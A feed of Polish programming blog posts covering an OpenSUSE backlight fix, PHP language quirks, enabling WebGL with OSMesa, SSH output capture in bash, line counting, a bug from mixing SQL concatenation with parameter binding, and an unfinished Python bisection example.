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W chwili obecnej trwają prace nad edytorem plansz (który będzie udostępniony wszystkim zainteresowanym tworzeniem własnych leveli) oraz kolejnymi, zapewne trudniejszymi levelami.<br />
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W grę można pograć pod <a href="http://pokorocket.eu/" target="_blank">tym</a> adresem. Obecnie gra jest ciągle w fazie beta-testów, dlatego proszę o wyrozumiałość w razie problemów. Będę również wdzięczny za zgłoszenia znalezionych błędów lub napotkanych utrudnień.coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-26757014790592317682013-03-23T10:45:00.001+01:002013-03-23T10:45:28.182+01:00OpenSUSE Linux 12.3 - czarny ekran Ze względu na moduł KMS, który jakiś czas temu został dodany do jądra systemu GNU/Linux, sporo sterowników kart graficznych musiało zostać przepisanych. Niestety do tej pory niektórzy użytkownicy mogą doznawać różnego rodzaju problemów z tym związanych. W OpenSUSE 12.3 (najprawdopodobniej też w innych oznaczonych 12.x) występuje problem braku prawidłowego funkcjonowania podświetlenie matrycy w laptopach typu emachines (między innymi w modelach emachines e525) wyposażonych w karty graficzne Intel GM45. Problem ten również może występować w innych dystrybucjach systemu GNU/Linux, które wykorzystują jądra Linux w tych samych wersjach.<br />
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Żeby rozwiązać ten problem jako podstawowy test wykonaj próbę uruchomienia systemu z dodatkowym parametrem uruchomienia jądra "<i><b>nomodeset</b></i>". Dopisz ten parametr do linii argumentów podczas wyświetlania menu probramu GRUB.<br />
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Jeśli po uruchumoniu działa podświetlenie, to najprawdopodobniej występować może problem z rozdzielczością, która np. będzie ustawiona na sztywno na 1024x768, co przy matrycach 16:9 może nie wyglądać efektownie. Następnie spróbuj uruchomić system z argumentem. <br />
<br />
<blockquote class="tr_bq">
<pre class="bz_comment_text">i915.invert_brightness=1</pre>
</blockquote>
W moim przypadku na laptopie emachines e525 argument ten rozwiązuje problem. Jak wynika z <a href="https://bugzilla.kernel.org/show_bug.cgi?id=31522" rel="nofollow" target="_blank">tego</a> ticketu, do tego błędu powstała już odpowiednia <a href="https://bugzilla.kernel.org/attachment.cgi?id=91631" rel="nofollow" target="_blank">łatka</a> do jądra, która najprwdopodobniej zostanie dołączona do kolejnych wydań jądra GNU/Linux. Dlatego też polecam śledzić wydania i w odpowiednim czasie dokonać aktualizacji.<br />
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Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com2tag:blogger.com,1999:blog-2028968044982511494.post-64889033706894598062012-10-01T19:54:00.002+02:002012-10-01T20:03:20.570+02:00Dlaczego nie PHP - $this w metodach statycznych (odc. 4)W języku PHP widziałem już kilka dziwnych zjawisk. Jednak to na co natknąłem się niedawno, powaliło mnie zupełnie na kolana. PHP w momencie gdy nie ma ustawionego poziomu raportowania błędów na "strict" pozwala na wywoływanie metod, które nie są zadeklarowane jako statyczne przy użyciu operatora :: oraz odwrotnie - metody statyczne można wywoływać w kontekście obiektu poprzez $this. Dla przykładu przedstawię kod.<br />
<br />
<div class="highlight">
<pre><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">A</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">test</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nx">B</span><span class="o">::</span><span class="na">test</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">class</span> <span class="nc">B</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">test</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nb">get_class</span><span class="p">(</span><span class="nv">$this</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">A</span><span class="p">();</span>
<span class="k">echo</span> <span class="nv">$obj</span><span class="o">-></span><span class="na">test</span><span class="p">();</span>
<span class="cp">?></span><span class="x"></span> </pre>
</div>
Zazwyczaj takie działania w innych językach powodują błędy. W PHP, które nie jest ustawione na "strict" wykona powyższy kod. Co ciekawe wynik będzie dosyć zaskakujący. Na logikę w kontekście statycznym odwołanie $this w metodzie B::test() nie powinno istnieć. W PHP istnieje a powyższy kod wypisze, że w metodzie B::test() odwołanie $this jest do obiektu klasy A. Po dopisaniu do metody B::test() deklaratora, iż metoda jest statyczna (jak poniżej) zupełnie zmienia zachowanie skrytpu. No i wreszcie w B::test() odwołanie $this jest klasy B - tylko dlaczego istnieje!?<br />
<br />
<div class="highlight">
<pre><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">A</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">test</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nx">B</span><span class="o">::</span><span class="na">test</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">class</span> <span class="nc">B</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">function</span> <span class="nf">test</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nb">get_class</span><span class="p">(</span><span class="nv">$this</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">A</span><span class="p">();</span>
<span class="k">echo</span> <span class="nv">$obj</span><span class="o">-></span><span class="na">test</span><span class="p">();</span>
<span class="cp">?></span><span class="x"></span> </pre>
<pre> </pre>
<pre></pre>
<pre> </pre>
</div>
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Powyższa lekcja pokazuje, że języka PHP chyba nigdy nie przestanę się uczyć - a on sam nie przestanie mnie zaskakiwać. Powyższy artykuł napisano na podstawie wersji 5.3.x.<br />
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Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-53357381865768551592012-06-15T18:56:00.005+02:002012-06-15T21:07:46.913+02:00Dlaczego nie PHP - kompatibilność wsteczna (odc. 3)Na początku marca 2012 wydano nową wersję 5.4 języka PHP. Nowa wersja wprowadza wiele udogodnień oraz kilka nowinek do gramatyki. Na przykład możliwość używania operatora tablicowego za operatorem funkcji $obiekt->funkcja()[4]; , składni $klasa::funkcja(). Jako zupełna nowość pojawiły się długo oczekiwane cechy (ang. traits). Niestety ze względu na porzucenie części kompatybilności wstecznej niektóre skrypty/programy pisane pod 5.3 mogą przestać działać. Na taki problem napotkałem się po aktualizacji oprogramowania przez pewnego administratora, który nie informując nikogo a swoim zamiarze nagle zmienił na serwerze dedykowanym wersję PHP z gałęzi 5.3.x na 5.4.x. <br />
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Problem dotyczył konkretnie framework'a Kohana 2.3.4. Zdaję sobie sprawę, że framework ten był pisany z myślą o PHP 5.2 jednak pod 5.3 wszystko działało jak dawniej. Po kilku godzinach ciężkich prób i walki na podstawie informacji znalezionych na forum <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=665197">debiana</a> udało się wprowadzić stosowną poprawkę do kodu.<br />
<br />
Co ciekawe - na podstawie testów (co potem znalazło potwierdzenie w wyżej wymienionym poście na forum) wynika, że funkcja ob_end_clean() działa delikatnie inaczej niż w poprzednich wersjach. Żeby było śmieszniej <a href="http://www.php.net/manual/pl/function.ob-end-clean.php">dokumentacja PHP</a> nie wspomina na ten temat ani słowem. Również detal ten nie jest wymieniony na <a href="http://php.net/manual/en/migration54.incompatible.php">liście zmian</a>, które powodują brak kompatybilności wstecznej tej wersji w porównaniu do poprzednich wydań. Zresztą jak widać w <a href="http://php.net/manual/en/migration54.incompatible.php">changelog</a>'u zmian tych jest całkiem sporo.<br />
<br />
Na kolejne wydania PHP czeka się całkiem długo a zmiana drugiego numerka powoduje w skrajnym przypadku zatrzymanie pracy skryptów, czego efektem jest biała strona (specyficzny przypadek dla funkcji pracującej na buforze wyjścia). Zdecydowanie bardziej intuicyjny wydaje mi się cykl wydań Python'a w którym to nawet wersja 2.7 była kompatybilna wstecz w ramach całej gałęzi 2.x. Python do tego jest w mojej ocenie językiem dużo bardziej zaawansowanym w rozwoju i dużo szybciej się rozwijającym. Mimo tego udaje się jego twórcom zachować kompatybilność wsteczną projektów.<br />
<br />
Poza tym podobny problem dotyczy samego framework'a Kohana i jego gałęzi 3.x gdzie to przy kolejnych wydaniach twórcy aplikacji opartych na tym framework'u nie mogą aktualizować systemu ze względu na brak wstecznej zgodności.<br />
<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-91847667703189048452012-04-19T21:33:00.000+02:002012-04-19T21:34:34.623+02:00Dlaczego nie PHP - Rzutowanie łańcuchów znakowych (odc. 2)Ostatnio natknąłem się w pracy na niemiłą niespodziankę. Okazało się, że PHP ma trochę odmienne podejście do konwersji łańcuchów tekstowych do zmiennych typu logicznego (boolean). Różnica polega na tym, że większość języków niepuste ciągi znaków rzutują do boolean na logiczną prawdę (TRUE).<br />
<br />
Weźmy na przykład tutaj Pythona:<br />
<blockquote class="tr_bq">
matis@linux-xcbr:~> python<br />
Python 2.6.5 (r265:79063, May 6 2011, 17:25:59) <br />
[GCC 4.5.0 20100604 [gcc-4_5-branch revision 160292]] on linux2<br />
Type "help", "copyright", "credits" or "license" for more information.<br />
>>> bool("0")<br />
<span style="color: red;">True</span><br />
>>> </blockquote>
Jednak jak wiadomo Python pomimo dynamicznego typowania jest zaliczany do języków silnie typowanych, dlatego postanowiłem zweryfikować dla spokoju swojego sumienia jak to się odbywa w JavaScript, który tak jak PHP jest językiem słabo typowanym.<br />
<br />
Poniżej komenda wpisana do konsoli Firebuga wraz z rezultatem: <br />
<br />
<blockquote class="tr_bq">
<div class="logRow logRow-command">
<span class="objectBox objectBox-text " role="presentation">>>> Boolean("0")</span></div>
<div class="logRow" style="color: red;">
<span class="objectBox objectBox-number " role="presentation">true</span></div>
</blockquote>
<br />
<br />
W PHP jest troszkę inaczej, a konkretniej odwrotnie: <br />
<blockquote class="tr_bq">
matis@linux-xcbr:~> php -r 'echo var_export( (bool)"0", true )."\n";'<br />
<div style="color: red;">
false</div>
</blockquote>
<blockquote class="tr_bq">
matis@linux-xcbr:~> php -r 'echo ( (bool)"0") ? 1 : 0;'<br />
<div style="color: red;">
0</div>
</blockquote>
Fakt ten miałem ochotę zgłosić jako błąd jednak w dokumentacji PHP fakt ten jest opisany jako prawidłowe działanie. Przypuszczałem, że wynika to z kolejności rzutowania - możliwe, że najpierw "0" rzutowane jest na integer, a dopiero potem na boolean, co w konsekwencji daje logiczny fałsz.<br />
<br />
Jednak moje przypuszczenia rozwiały próby z "0" oraz "0.0":<br />
<br />
<blockquote class="tr_bq">
matis@linux-xcbr:~> hp -r 'echo var_export( (bool)"00", true )."\n";'<br />
<div style="color: red;">
true</div>
matis@linux-xcbr:~> php -r 'echo var_export( (bool)"0.0", true )."\n";'<br />
<div style="color: red;">
true</div>
</blockquote>
Również jestem zdania, że znając kilka języków programowania nowego możemy się nauczyć stosunkowo szybko, jednak powyższy przykład pokazuje, że do osiągnięcia perfekcji potrzeba trochę czasu.<br />
<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-63476912462873921442012-03-16T22:04:00.002+01:002012-06-17T08:54:43.040+02:00Dlaczego nie PHP - Tablice (odc. 1)Po wielu nerwowych godzinach spędzonych przy PHP postanowiłem podzielić się z innymi użytkownikami internetu na temat moich spostrzeżeń odnośnie do języka i platformy PHP - zarówno tych negatywnych jak i pozytywnych (choć tych będzie chyba trochę mniej). Język ten rozwija się stosunkowo powoli, a twórcy późno dochodzą do wniosków, do których doszli twórcy takich języków jak Python już w fazie projektowania.<br />
<br />
W pierwszych artykułach doczepię się gramatyki języka, której w mojej ocenie brakuje kilku "drobiazgów".<br />
Na pierwszy ogień niech pójdą tablice i praca z nimi. <br />
<br />
<blockquote class="tr_bq">
<div class="highlight">
<pre><span class="cp"><?php</span><br/><span class="nv">$element_trzeci</span> <span class="o">=</span> <span class="nv">$obiekt</span><span class="o">-></span><span class="na">pobierz_tablice</span><span class="p">()[</span><span class="m">2</span><span class="p">];</span><br/><span class="cp">?></span>
</pre>
</div>
</blockquote>
<br />
Konstrukcja znana z wielu języków programowania (chociażby Python, Java, JavaScript itp, itd). Niestety w PHP 5.3 kod ten się nie wykona - zobaczymy piękny komunikat "syntax error". Konstrukcja ta została wprowadzona stosunkowo niedawno w wersji 5.4 (programiści PHP musieli czekać do drugiej dekady XXI wieku na coś, co w innych językach jest od samego początku), która póki co nie jest zainstalowana na zbyt wielu serwerach, które oferują konta hostingowe.<br />
<br />
Problem ten w PHP można obejść na kilka sposobów, ale żaden z nich nie jest dla mnie zadowalający:<br />
<br />
Sposób 1:<br />
<blockquote class="tr_bq">
<span class="cp"><?php</span><br/>
<span class="nv">$tablica</span> <span class="o">=</span> <span class="nv">$obiekt</span><span class="o">-></span><span class="na">pobierz_tablice</span><span class="p">();</span><br/>
<span class="nv">$element_trzeci</span> <span class="o">=</span> <span class="nv">$tablica</span><span class="p">[</span><span class="m">2</span><span class="p">];</span> <br/>
<span class="cp">?></span><span class="x"></span>
<span class="x"> </span>
<span class="x"> </span>
</blockquote>
Sposób 2:<br />
<blockquote class="tr_bq"><pre>
<span class="cp"><?php</span> <br/>
<span class="k">list</span><span class="p">(</span> <span class="p">,</span> <span class="p">,</span> <span class="nv">$element_trzeci</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$obiekt</span><span class="o">-></span><span class="na">pobierz_tablice</span><span class="p">();</span><br/>
<span class="cp">?></span><span class="x"></span>
</pre>
</blockquote>
Pierwszy sposób irytuje mnie tym, że muszę napisać 2 linie kodu zamiast 2 i zarezerwować pamięć na 2 zmienne. Wypadałoby również zwolnić zmienną $tablica, bo przecież nie jest potrzebna, więc wchodzi w grę "unset", co daje w sumie 3 linie kodu (zamiast jednej). Drugi sposób jest niezbyt elegancki i w ogóle niepraktyczny jeśli chcemy pobrać np. 10 element, albo przedostatni.<br />
<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-41032000352394167172012-02-29T20:05:00.003+01:002012-02-29T20:11:57.487+01:00OpenSUSE 11.3, Intel GM45 i WebGL w FirefoxieMiałem problem z uruchomieniem aplikacji internetowych napisanych przy użyciu stosunkowo nowej technologii jaką jest WebGL. Mam laptopa ze zintegrowanym chipsetem graficznym Intel GM45, który oczywiście nie wspiera sprzętowo renderowania 3D. Odpalenie WebGL w Firefoxie 10.0.0.2 przysporzyło mi trochę problemów pod systemem OpenSUSE (w moim przypadku w starej wersji 11.3 64bit z repozytorium ciągłym Thumbelweed ).<br />
<br />
Poniżej przedstawiam kolejne kroki jakie wykonałem, a po których WebGL wystartował przy renderowaniu software'owym:<br />
<br />
<br />
Najpierw musimy zainstalować bibliotekę Mesa (jeśli jej jeszcze nie mamy):<br />
<blockquote class="tr_bq">
sudo zypper in Mesa</blockquote>
W Firefoxie należy w pasku adresu wpisać:<br />
<blockquote class="tr_bq">
about:config</blockquote>
<br />
W wyszukiwarce można odfiltrować zmienne odpowiedzialne za WebGL poprzez wpisanie:<br />
<br />
<blockquote class="tr_bq">
webgl</blockquote>
<br />
Ustawiamy odpowiednie zmienne jak poniżej<br />
<ul>
<li>webgl.force-enabled jako: true </li>
<li>webgl.force_osmesa jako: true</li>
<li>webgl.osmesalib jako: /usr/lib64/libOSMesa.so.7</li>
</ul>
Oczywiście jeśli masz inną wersję Mesy to link symboliczny będzie miał zapewne inną nazwę. Jeśli nie posiadasz takiego linku symbolicznego to oczywiście należy podać ścieżkę bezpośrednią do biblioteki lub utworzyć sobie odpowiednie łącze symboliczne. Zdziwiła mnie mała niekonsekwencja w nazewnictwie zmiennych - jedne z minusem, inne z podkreśleniem, a jeszcze inne pisane razem - no ale może konsekwencja jest, a po prostu ja nie znam konwencji przyjętej w projekcie Firefox.<br />
<br />
Po ponownym uruchomieniu Firefoxa WebGL zaczął działać =) <br />
<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-85063031817532966712012-02-26T10:52:00.001+01:002012-02-26T10:55:10.510+01:00Zdalne wykonanie komendy w BASH z przypisaniem do lokalnej zmiennejJeśli lubisz czasem tak jak ja tworzyć kod w BASHu to możliwe, że natkniesz się na problem wykonania zdalnej komendy (na przykład na serwerze) i pobrania wyniku tej komendy do lokalnej zmiennej. Mam tu na myśli na przykład skrypt, który sprawdza czy na serwerze w danym katalogu pojawił się jakiś pliczek - z tym zastrzeżeniem, że skrypt ma się wykonywać nie po stronie serwera a hosta, który się do niego łączy.<br />
<br />
Kwestie tego jak się logować przez SSH - czy przez zaszycie hasła w skrypcie czy przez wymianę kluczy pozostawiam Tobie i konkretnej implementacji jednak zdecydowanie lepszym pomysłem wydaje się wymiana kluczy. W każdym razie zaszywanie hasła w skrypcie wiąże się z pewnym ryzykiem.<br />
<br />
Przejdźmy zatem do meritum. W celu pobrania wyniku zdalnej komendy do lokalnej zmiennej należy użyć podobnej konstrukcji:<br />
<br />
<blockquote class="tr_bq"><pre style="margin: 0; padding: 0;"><code class="bbc_code">wynik=$(ssh login@host polecenie_zdalne)</code></pre></blockquote>W podobny sposób można użyć telnetu - jednak w przypadku tego protokołu o bezpieczeństwie możemy pomarzyć.<br />
<br />
Konkretny przykład:<br />
<blockquote class="tr_bq"><pre style="margin: 0; padding: 0;"><code class="bbc_code">wynik=$(ssh login@host</code><code class="bbc_code"> ls -all|grep szukany_plik.txt)</code></pre></blockquote><br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0 <a href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-2521758285939522582011-08-24T20:08:00.000+02:002011-08-24T20:08:25.076+02:00Rekurencyjne zliczanie linii kodu w dużych projektachCelem zliczenia linii kodu z wszystkich plików znajdujących się w jednym katalogu możemy użyć prostej komendy:<br />
<br />
<blockquote>wc -l *.java</blockquote><br />
Powyższe polecenie policzy linie kodu znajdujące się w pliczkach z rozszerzeniem java. Co jednak jeśli chcemy policzyć linie z całego projektu, który podzielony jest na bardzo wiele katalogów? Polecam użyć połączenia komend "wc" oraz "find" w taki oto sposób:<br />
<br />
<br />
<blockquote> wc -l `find . -name \*.java -print`</blockquote><br />
Wywołując to polecenie w katalogu głównym naszego projektu powinniśmy uzyskać informacje o całkowitej liczbie linii kodu zawartych w plikach *.java z całego projektu (łącznie z podkatalogami).<br />
<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0 <a href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-92149105514441437292011-08-22T20:22:00.003+02:002012-06-17T09:19:13.768+02:00Konkatenacja w zapytaniach SQL a bindowanie przez "?"Ostatnio w kodzie pewnego programisty znalazłem dosyć ciekawy błąd. Wynikał on z różnego sposobu podpinania parametrów do zapytania UPDATE (SQL). Wartości pól po "SET" były bowiem konkatenowane, natomiast część po słowie kluczowym "WHERE" bindowana przez znaki zapytania. Mniej więcej wyglądało to tak (pół-pseudokod):<br />
<blockquote class="tr_bq">
<pre>
<span class="x"> </span>
<span class="cp"><?php</span><br/>
<span class="nv">$set</span> <span class="o">=</span> <span class="s1">' user_id ='</span><span class="o">.</span><span class="nx">escape</span><span class="p">(</span><span class="nv">$user_id</span><span class="p">)</span><span class="o">.</span><span class="s1">' '</span><span class="p">;</span>
<span class="p">(</span><span class="o">...</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'comment'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nv">$set</span> <span class="o">.=</span> <span class="s1">', comment="'</span><span class="o">.</span><span class="nx">escape</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'comment'</span><span class="p">])</span><span class="o">.</span><span class="s1">'"'</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">query</span><span class="p">(</span><span class="s1">'UPDATE `tabela` SET '</span><span class="o">.</span> <span class="nv">$set</span> <span class="o">.</span> <span class="s1">' WHERE id=? '</span> <span class="p">,</span> <span class="nv">$id</span><span class="p">);</span><br/>
<span class="cp">?></span><span class="x"> </span>
</pre>
</blockquote>
Cały szkopuł polegał na tym, że w momencie, kiedy w którejkolwiek wartości podpiętej w zmiennej $set pojawił się znak zapytania (bo użytkownik np. chciał zadać pytanie), to do tego znaku zapytania została zbindowana zmienna $id i finalne zapytanie wyglądało np. tak :
<blockquote>
<div class="highlight" style="font-fize: 11px;"><pre><span class="k">UPDATE</span> <span class="o">`</span><span class="n">tabela</span><span class="o">`</span><br/><span class="k">SET</span> <span class="o">`</span><span class="n">user_id</span><span class="o">`=</span><span class="mi">5</span><span class="p">,</span> <span class="o">`</span><span class="k">comment</span><span class="o">`=</span><span class="ss">"Co slychac345"</span><br/><span class="k">WHERE</span> <span class="n">id</span><span class="o">=?</span> <span class="p">;</span>
</pre></div>
</blockquote>
Gdzie "345" to np. klucz główny tabeli z komentarzami do czegokolwiek. Jak wiadomo, taka składnia jest błędna i zapytanie się nie wykona. Celem naprawienia błędu wystarczy zmienić linijkę odpowiedzialną za wykonanie zapytania na taką:
<blockquote class="tr_bq">
<span class="cp"><?php</span><br/>
<span class="nx">query</span><span class="p">(</span><span class="s1">'UPDATE `tabela` SET '</span><span class="o">.</span> <span class="nv">$set</span> <span class="o">.</span> <span class="s1">' WHERE id= '</span><span class="o">.</span><span class="nx">escape</span><span class="p">(</span><span class="nv">$id</span><span class="p">));</span><br/>
<span class="cp">?></span><span class="x"></span>
</blockquote>
Na pierwszy rzut oka błąd jest praktycznie niewidoczny i wykryłem go dopiero po użyciu debuggera. Taka lekcja uczy, by nie mieszać konkatenacji stringów do zapytania z bindowaniem poprzez znaki zapytania :-).<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0 <a href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-89942827430816419252011-04-06T19:36:00.004+02:002011-04-06T19:54:26.102+02:00Bisekcja: Wyznaczanie miejsc zerowych<b>Wprowadzenie</b><br />
<br />
Wyznaczanie miejsc zerowych funkcji może być pomocne np. przy rozwiązywaniu równań kwadratowych lub innych wielomianów. Jednorazowe uruchomienie metody bisekcji (połowienia przedziałów) może posłużyć do wyznaczenia jednego miejsca zerowego (i tylko jednego) danej funkcji. Zastosowanie tej metody nie gwarantuje jednak wyszukania jakiegokolwiek miejsca zerowego (pomimo tego, że takie występują). Taka sytuacja może mieć miejsce gdy wybierzemy x0 , x1 tak, że dla obu tych punktów wartość funkcji będzie miała ten sam znak.<br />
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Dokładność tej funkcji zależy tylko i wyłącznie od ilości wykonanych iteracji - im więcej ich wykonamy (połowień przedziałów) tym dokładniejszy wynik uzyskamy. <br />
Jedną z zalet tej metody jest błąd maksymalny, którym obarczony jest wynik - nigdy nie przekroczy on połowy odległości między badanymi punktami. Na przykład przy badaniu funkcji w przedziale 4-8 przy jednej iteracji maksymalnym błędem będzie 2. Podzielimy bowiem przedział ten na 4-6-8 i przesuniemy jeden z punktów na połowę przedziału, czyli do wartości 6. Jako dodatkową zaletę tej metody można podać, że jest ona zawsze zbieżna.<br />
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<b>Wzory</b><br />
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Warunkiem wystarczającym do zaistnienia miejsca zerowego w danym przedziale jest równanie:<br />
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1) f(x1) * f(x2) < 0 *gdzie x1 i x2 są granicami przedziałów, w których badamy funkcję)<br />
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Wadą tego warunku jest to, że nie jest to warunek konieczny, a zatem nawet w przypadku nie spełnienia tego warunku może okazać się, że w danym przedziale istnieją miejsca zerowe. Wykres działania metody bisekcji dla wzoru: "y = x^2 - 5x -6" oraz danych: a=-3.0 b=3.0 i liczbie iteracji 6: otrzymujemy przedział: (-1.03125, -0.9375) <br />
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</div><a href="http://4.bp.blogspot.com/-6dKuAW3DLk4/TZyfItBDa4I/AAAAAAAAAMM/akkXxLhD_8U/s1600/bisekcja-wykres.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="298" src="http://4.bp.blogspot.com/-6dKuAW3DLk4/TZyfItBDa4I/AAAAAAAAAMM/akkXxLhD_8U/s320/bisekcja-wykres.png" width="320" /></a><br />
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<b>Kod programu </b>(python w wersji 2.x, najlepiej 2.6)<b>: </b><br />
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<div class="highlight"><pre><span class="c">#!/usr/bin/python</span>
<span class="c"># -*- coding: utf-8 -*-</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="k">class</span> <span class="nc">Function</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">pass</span>
<span class="k">def</span> <span class="nf">count</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">x</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"Wywolanie z </span><span class="si">%d</span><span class="s">"</span> <span class="o">%</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">math</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="mi">5</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="mi">6</span>
<span class="k">print</span> <span class="n">result</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">c</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Bisection</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
